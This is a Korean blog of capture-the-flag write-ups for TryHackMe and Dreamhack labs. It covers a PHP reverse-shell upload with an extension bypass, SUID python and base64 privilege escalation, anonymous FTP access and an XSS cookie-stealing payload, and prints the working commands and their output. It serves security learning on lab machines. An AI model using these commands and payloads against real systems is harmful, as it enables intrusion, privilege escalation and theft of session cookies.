-n : DNS 디스커버리 하지 않겠다

--open : open된 포트만 보여달라

-sS : tcp 씬스캔을 활용하겠다

--min-rate : 미니멈 레이트는 2000

-oA : 출력 파일은 tcpFull로 하겠다

 

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p 22,80 -sV -sC -Pn -n --open -oA tcpDetailed 10.10.94.213
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 00:32 EDT
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.40 seconds

 

 

1. 웹사이트 확인

 

2. 소스코드 확인

 

3. robots.txt 확인 

 

별다른 단서가 없다

 

4. gobuster를 이용해 디렉터리 브루트포싱을 진행

┌──(root㉿kali)-[~/raccoon/rootme]
└─# gobuster dir -u http://10.10.94.213/ -w /usr/share/wordlists/dirb/common.txt -f -x php -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.94.213/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess/           (Status: 403) [Size: 277]
/.htaccess.php/       (Status: 403) [Size: 277]
/.php/                (Status: 403) [Size: 277]
/.hta.php/            (Status: 403) [Size: 277]
/.hta/                (Status: 403) [Size: 277]
/.htpasswd.php/       (Status: 403) [Size: 277]
/.htpasswd/           (Status: 403) [Size: 277]
/css/                 (Status: 200) [Size: 1125]
/icons/               (Status: 403) [Size: 277]
/index.php/           (Status: 200) [Size: 616]
/index.php/           (Status: 200) [Size: 616]
/js/                  (Status: 200) [Size: 958]
/panel/               (Status: 200) [Size: 732]
/server-status/       (Status: 403) [Size: 277]
/uploads/             (Status: 200) [Size: 743]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================

 

403은 의미가 없어 200위주로 볼것이다

 

 

뭔가 디렉터리 인덱싱이 가능한 오픈 디렉터리가 나오긴 하는데 안에 파일이 아무 것도 없다 근데 업로드 이기 때문에 뭔가 파일을 업로드하면 /uploads 디렉터리 안에 업로드가 될 것 같다.

 

 

 

파일을 업로드하는 무언가가 나온다

생각되는 시나리오

1. /panel에서 업로드를 하면 /uploads 에서 업로드가 되는 것이 보일 것

2. 그게 php 파일이라면 웹서버 자체의 백엔드가 php 이기 때문에 사실상 php를 열어서 확인한다는건 php 코드가 실행된 다는 것과 같다

 

 

5. php 리버스쉘 코드 업로드 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# find / -name "*php-reverse-shell*" 2> /dev/null
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
^C
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# cp /usr/share/laudanum/php/php-reverse-shell.php .                 
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# ls
php-reverse-shell.php  tcpDetailed.gnmap  tcpDetailed.xml  tcpFull.nmap
target                 tcpDetailed.nmap   tcpFull.gnmap    tcpFull.xml
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# vim php-reverse-shell.php

 

php 파일에서 chang this 부분에 리버스 쉘이기 때문에 내가 가지고 있는 ip를 적어준다

 

업로드 시켜줬지만 업로드가 되지 않은 것같다 뭔가 php 확장자로는 안되서 php upload bypass를 통해 우회를 해서 업로드를 시킬 것이다

 

6. file upload bypass를 통한 php 파일 우회 업로드

우선 php -> php5 로 확장자를 변경해서 업로드 시도

정상적으로 파일을 업로드 했다

 

7. 리버스 쉘 받기

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234                                                   
listening on [any] 1234 ...

이렇게 nc 명령어를 입력한 후에 업로드된 파일을 누르면 된다.

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234                                                   
listening on [any] 1234 ...
connect to [10.8.59.204] from (UNKNOWN) [10.10.94.213] 38488
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 05:01:09 up 41 min,  0 users,  load average: 0.00, 0.00, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

리버스 쉘을 획득한 모습

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@rootme:/$

python을 이용해서 pty를 불러온 후 권한 상승을 위해서 구글에서 linenum.sh github를 검색해 스크립트를 가져온다

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2024-03-24 01:09:28--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh                    100%[==============================================>]  45.54K  --.-KB/s    in 0.1s    

2024-03-24 01:09:29 (315 KB/s) - ‘LinEnum.sh’ saved [46631/46631]


┌──(root㉿kali)-[~/raccoon/rootme]
└─# python3 -m http.server 8443                 
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...

python을 통해서 웹서버를 8443으로 오픈

 

www-data@rootme:/$ cd /dev/shm
cd /dev/shm
www-data@rootme:/dev/shm$ wget http://10.8.59.204:8443/LinEnum.sh
wget http://10.8.59.204:8443/LinEnum.sh
--2024-03-24 05:11:33--  http://10.8.59.204:8443/LinEnum.sh
Connecting to 10.8.59.204:8443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh            0%[                    ]       0  --.-KB/s              LinEnum.sh           32%[=====>              ]  14.95K  57.1KB/s              LinEnum.sh           96%[==================> ]  44.14K  81.8KB/s              LinEnum.sh          100%[===================>]  45.54K  84.4KB/s    in 0.5s    

2024-03-24 05:11:34 (84.4 KB/s) - 'LinEnum.sh' saved [46631/46631]

www-data@rootme:/dev/shm$
www-data@rootme:/dev/shm$ chmod +x ./LinEnum.sh
chmod +x ./LinEnum.sh
www-data@rootme:/dev/shm$ ./LinEnum.sh

[+] Possibly interesting SGID files:
-rwsr-sr-x 1 root root 3665768 Aug  4  2020 /usr/bin/python

이것을 악용할 것이다

GTFObins 사이트에서 쳐야할 명령어를 검색할 후에 실행 

www-data@rootme:/$ python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
#

root 권한을 획득했다

 

# find / -name "user.txt"
find / -name "user.txt"
/var/www/user.txt
# cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
# find / -name "root.txt" 2> /dev/null
find / -name "root.txt" 2> /dev/null
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

 

'TryHackMe' 카테고리의 다른 글

[TryHackMe] Robots  (0) 2024.03.24

https://tryhackme.com/r/room/grootsecurity

 

Task 7
이미 두번이나 해킹당한 HoneyVoice 일당은 보안을 강화했다!!
이번에도 해킹 할 수 있을 것인가?

* FTP exploit, privilege escalation, misconfiguration, SUID, GTFOBins를 이용해 Permission의 중요성에 대해서 배운다

첫번째 nmap을 이용하여 열려 있는 포트 확인 후 웹페이지 확인

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# nmap 10.10.23.74 -sV > nmap_res     
                                                                              
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat nmap_res 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 23:12 EDT
Nmap scan report for 10.10.23.74
Host is up (0.33s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds

 

그냥 일반적인 apach2의 기본 웹페이지 It works 가 떠있다. 별 다른 것은 없고 ftp 를 확인해 봐야겠다

 

 

두번째 ftp

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74                                                 
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root):

ftp 서버에 연결하기 위해서 name, pw 를 알아야하는데 일단 국룰처럼 확인하는 것이 있다 

일단 ftp가 open port 가 되어있는 것이 확인 되었다면 항상 default로 만들어져있는 것을 먼저 해본다

anonymous:anonymous

anonymous:

ftp:ftp 

이렇게 3개가 있는데 하나씩 해본다

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74                                                 
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

anonymous:anonymous 를 트라이 하니 접속이 되었다. 

 

ftp> ls
229 Entering Extended Passive Mode (|||56078|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000            0 Mar 12  2023 hiya
-rw-r--r--    1 0        0              45 Mar 12  2023 temporary_pw.txt
226 Directory send OK.
ftp> get temporary_pw.txt
local: temporary_pw.txt remote: temporary_pw.txt
229 Entering Extended Passive Mode (|||58918|)
150 Opening BINARY mode data connection for temporary_pw.txt (45 bytes).
100% |*********************************|    45       10.26 KiB/s    00:00 ETA
226 Transfer complete.
45 bytes received in 00:00 (0.16 KiB/s)
ftp> exit
221 Goodbye.
                                                                              
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ls
nmap_res  target  temporary_pw.txt

 

ftp에서 파일을 가져올때는 get이라는 명령어를 사용해서 파일을 가져온다.

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat temporary_pw.txt 
Do you see a docx file ? Read the docx file.

 

파일의 내용을 확인한 결과 docx파일이 보이냐는 말이 적혀있다 뭔가 의도적으로 보이지 않게 해놓은것 같다

ftp> ls -a
229 Entering Extended Passive Mode (|||64074|)
150 Here comes the directory listing.
drwxrwxr-x    2 1000     1000         4096 Mar 12  2023 .
drwxrwxr-x    2 1000     1000         4096 Mar 12  2023 ..
-rwxrw-r--    1 1000     1000         7173 Mar 12  2023 .ssh_creds.docx
-rw-rw-r--    1 1000     1000            0 Mar 12  2023 hiya
-rw-r--r--    1 0        0              45 Mar 12  2023 temporary_pw.txt
226 Directory send OK.

 

ls -a 를 통해서 숨겨져있는 파일을 확인한 결과 docx 파일이 하나가 있고 파일을 확인하기 위해서 libreoffice를 사용하였고

이름은 ssh id 그리고 encoding 된 코드 하나를 받을 수 있다

 

일단 파일을 만든 저자를 알기 위해서 metadata를 확인해야하는데 그것을 알기 위해서 exiftool 이라는 것을 사용하여 확인할 것이다.

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# exiftool .ssh_creds.docx               
ExifTool Version Number         : 12.76
File Name                       : .ssh_creds.docx
Directory                       : .
File Size                       : 7.2 kB
File Modification Date/Time     : 2023:03:11 21:31:40-05:00
File Access Date/Time           : 2024:03:23 23:27:37-04:00
File Inode Change Date/Time     : 2024:03:23 23:27:37-04:00
File Permissions                : -rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0808
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x7f431349
Zip Compressed Size             : 360
Zip Uncompressed Size           : 1341
Zip File Name                   : word/numbering.xml
Creator                         : harry

 

harry 라는 저자를 알았고 비밀번호는 base64로 인코딩된 비밀번호 인걸을 확인할 수 있어서 base64로 디코딩 시켜준다

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# echo "Y2F0Y2htZSFAI2==" | base64 --decode
catchme!@#
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ssh harry@10.10.23.74     
The authenticity of host '10.10.23.74 (10.10.23.74)' can't be established.
ED25519 key fingerprint is SHA256:AWt6DBDufX3qfIbn7UQP2HTBa+F5G+yijI5p/nMJm1M.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:4: [hashed name]
    ~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.23.74' (ED25519) to the list of known hosts.
harry@10.10.23.74's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-144-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 24 Mar 2024 03:39:11 AM UTC

  System load:  0.08              Processes:             111
  Usage of /:   33.6% of 9.75GB   Users logged in:       0
  Memory usage: 46%               IPv4 address for eth0: 10.10.23.74
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

25 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Mar 13 03:30:45 2023 from 192.168.137.131
harry@linuxgroot:~$

ftp를 통해서 알아냈던 단서들을 통해서 ssh 연결까지 성공 시켰다

 

 

세번째 flag 찾기

harry@linuxgroot:~$ find / -name "user.txt" 2> /dev/null
/home/harry/backup/user7/user.txt
/home/harry/backup/user16/user.txt
/home/harry/backup/user/user.txt
harry@linuxgroot:~$ cd backup/
harry@linuxgroot:~/backup$ grep -r GROOT{
user7/user.txt:GROOT{C4TCHME_S3CRETS}

첫번째 user.txt

 

harry@linuxgroot:~$ find / -name "flag.txt" 2> /dev/null
harry@linuxgroot:~$ sudo -l
Matching Defaults entries for harry on linuxgroot:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry may run the following commands on linuxgroot:
    (root) NOPASSWD: /usr/bin/find
harry@linuxgroot:~$ sudo find / -name "flag.txt" 2> /dev/null
/root/flag.txt

 

harry@linuxgroot:~$ find / -type f -perm -4000 -exec ls -h {} \; 2> /dev/null

...
/usr/bin/base64
...
harry@linuxgroot:~$ base64 /root/flag.txt
UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==
harry@linuxgroot:~$ base64 /root/flag.txt
UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==
harry@linuxgroot:~$ base64 --decode /root/flag.txt
GROOT{C4tCl+lME!fy0Uc4N}

flag.txt 를 바로 읽을 순 없어서 suid를 이용해 root 권한으로 실행을 시킬수 있는 바이너리를 찾아야하는데 그중에서 base64가 있다 그래서 base64 명령어는 suid를 통해 root 권한으로 실행되기 때문에 base64를 통해서 파일을 읽는다 근데 인코딩이 되어있어서 이것을 디코딩 시켜줘야한다

 

이렇게 두번째 flag 까지 획득

https://tryhackme.com/r/room/grootsecurity

 

Task 6 
HoneyVoice 보이스피싱 일당의 비밀관리 서버를 해킹한다

* robots.txt, Gobuster를 이용한 디렉토리 브루트포싱에 대해서 공부


 

┌──(root㉿kali)-[~/raccoon/Robots]
└─# nmap 10.10.228.69 -sS -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 22:06 EDT
Nmap scan report for 10.10.228.69
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.59 seconds
                                                                              
┌──(root㉿kali)-[~/raccoon/Robots]
└─# nmap 10.10.228.69 -sV -sC -p 22,80 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 22:06 EDT
Nmap scan report for 10.10.228.69
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c8:27:95:ed:47:88:cb:69:fa:2e:19:c7:03:5f:b3:26 (RSA)
|   256 96:8e:85:5b:f6:bc:43:76:52:24:dd:72:4c:65:27:79 (ECDSA)
|_  256 22:87:05:24:cb:7a:3f:b2:a4:5e:e2:88:9a:69:b2:af (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-title: HoneyVoice Secrets Server
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds

 

ssh 공격은 좀 나중에 하고 우선 ssh와 http가 있으면 http 웹공격 먼저 시도를 할 것이다.

 

첫번째로 웹사이트가 뜨고 ctrl+u 를 통해서 소스코드를 확인해봤지만 딱히 단서가 될만한 것은 없다

 

 

두번째로 /robots.txt 를 통해서 경로롤 변경한 뒤에 확인을 한다

 

여기서 robots.txt 의 개념을 공부해야한다

검색 엔진 (goolge,naver) 등은 크롤러 라는 것을 만드는데 이것이 인터넷에 뿌려져서 다양한 웹페이지를 조사하고 어느 서버에 어느 포트에 어느 php 파일이 어디에 존재하는지를 긁어온다 admin.html 같은 중요한 페이지는 크롤러를 보고 크롤링을 금지해야한다 라고 알려주는 것이 robots.txt 이다

즉, 웹서버의 검색엔진 최적화 (SEO)에 쓰이도록 만들어 졌지만, 잘못 설정될 경우 원치않은 디렉터리나 페이지를 유출할 수 있는 파일이름은 robots.txt 이다

 

그래서 위 사진을 보면 allow: /index.php 이말은 index.php에 대한 크롤링은 허용 Disallow: /admin.php는 admin.php에 대한 크롤링은 허용하지 않는다. 이런 말이 이다.

 

 

하지만 우리는 공격하는 입장이기 때문에 안돼는 것은 없다!

하지만 이 admin.html은 진짜 admin 페이지는 아니고 뭔가 xxxx.hv.html 을 보라고 나와있다. 4자리의 숫자로 되어있다고 한다

그래서 우리는 이제 web directory bruteforcing 이라는 기법을 사용해서 공격을 할 것이다python을 이용해도 되고 다른 스크립트를 이용해도되지만 이번에는 bash를 이용하여 진행

 

 

──(root㉿kali)-[~/raccoon/Robots]
└─# for i in {0000..9999} ; do echo $i.hv.html >> wordlist.txt; done
                                                                              
┌──(root㉿kali)-[~/raccoon/Robots]
└─# ls
target  wordlist.txt
                                                                              
┌──(root㉿kali)-[~/raccoon/Robots]
└─# tail wordlist.txt 
9990.hv.html
9991.hv.html
9992.hv.html
9993.hv.html
9994.hv.html
9995.hv.html
9996.hv.html
9997.hv.html
9998.hv.html
9999.hv.html

 

세번째 간단한 for 문을 이용하여 wordlist.txt 를 생성

 

네번째 gobuster라는 툴을 이용하여 공격

──(root㉿kali)-[~/raccoon/Robots]
└─# gobuster dir -u http://10.10.228.69 -w wordlist.txt -t 100

gobuster dir 공격을 할 것이고

-u : 공격할 url

-w : 아까 생성한 wordlist를 적어주면 된다

-t : thread는 100 정도 

 

┌──(root㉿kali)-[~/raccoon/Robots]
└─# gobuster dir -u http://10.10.228.69 -w wordlist.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.228.69
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                wordlist.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/7289.hv.html         (Status: 200) [Size: 653]
Progress: 10000 / 10001 (99.99%)
===============================================================
Finished
===============================================================

/7289.hv.html 이라는 것은 200 응답이 나와 파일이 있는 것으로 확인 되었고, 나머지는 404 error 가 발생했을 것이다.

 

NOPE. 이 떳지만 여기서 페이지 소스를 확인해보면

이러한 아이가 등장한다 비밀번호와 패스워드 그리고 flag 값이 나오고 보너스 문제를 풀기 위해서 ssh연결을 통해서 마지막 flag 까지 획득 하면 완벽하다

'TryHackMe' 카테고리의 다른 글

[TryHackMe] RootMe  (0) 2024.03.24

https://dreamhack.io/wargame/challenges/28/

 

xss-1

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io

 

문제

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

플래그 형식은 DH{...} 입니다.


풀이

 

1.  이 문제는 Flask 프레임워크로 구성, XSS를 통해 다른 이용자의 쿠키를 탈취해야하기 때문에, 다른 이용자가 방문하는 시나리오가 필요하기 때문에 셀레늄을 통해서 구현이 되어있다

 

2. 코드 분석

 

  • /vuln
# vuln 페이지를 구성하는 코드, 이용자가 전달한 param 파라미터 값을 출력
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져온다
    return param # 이용자의 입력값을 화면 상에 표시

 

  • /memo
# 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력
@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수(global)로 참조
    text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
    memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_txt에 추가
    return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

 

  • /flag
# POST => params 파라미터에 값과 쿠키에 FLAG를 포함해서 chech_xss 함수를 호출한다, check_xss는 read_rul 함수를 호출해 vuln 엔드포인트에 접속
def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

 

3. 취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다

memo는 render_template 함수를 이용해 memo.html을 출력 -> render_template 함수는 전달된 템플릿 변수를 기록 할 때마다 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다

그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생.

 

4. exploit

  • /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의의 이용자 쿠키를 탈취
  • 탈취한 쿠키를 전달받기 위해서는 외부에서 접근가능한 웹서버를 사용하거나 memo 엔드포인트 사용
  • 공격에 사용할 수 있는 속성
  • -> location.href : 전체 URL을 번환하거나, URL을 업데이트할 수 있는 속성 값
  • -> document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성 
  • flag 페이지에 들어가 <script>location.href = "/memo?memo=" + document.cookie;</script>를 입력한다

  • 입력한 후에 memo로 들어가면 flag가 찍혀 있는 모습을 확인 할 수 있다. 

 

 

5. 이러한 문제를 해결하는 방법

XSS 공격은 서버에서 이용자의 입력값을 별다른 검증없이 페이지에 출력할 경우 발생할 수있는 문제점이다

주로, 이용자의 입력값이 출력되는 페이지에서 발생하며, 해당 공격으로 타 이용자의 브라우저에 저장된 쿠키 및 세션 정보를 탈취할 수 있기 때문에

 

악성태그를 필터링하는 HTML Sanitization을 사용하거나 엔티티 코드로 치환하는 방법을 사용하면 문제 해결이 가능하다

 

'Dreamhack' 카테고리의 다른 글

[Dreamhack] Carve_Party WriteUp  (0) 2024.06.11
[Dreamhack] session-basic Write-Up  (0) 2024.03.16
[Dreamhack] cookie Write-Up  (1) 2024.03.16
[Dreamhack] phpreq Write-Up  (2) 2024.03.15
[Dreamhack] ex-req-ex Write-Up  (2) 2024.03.15

+ Recent posts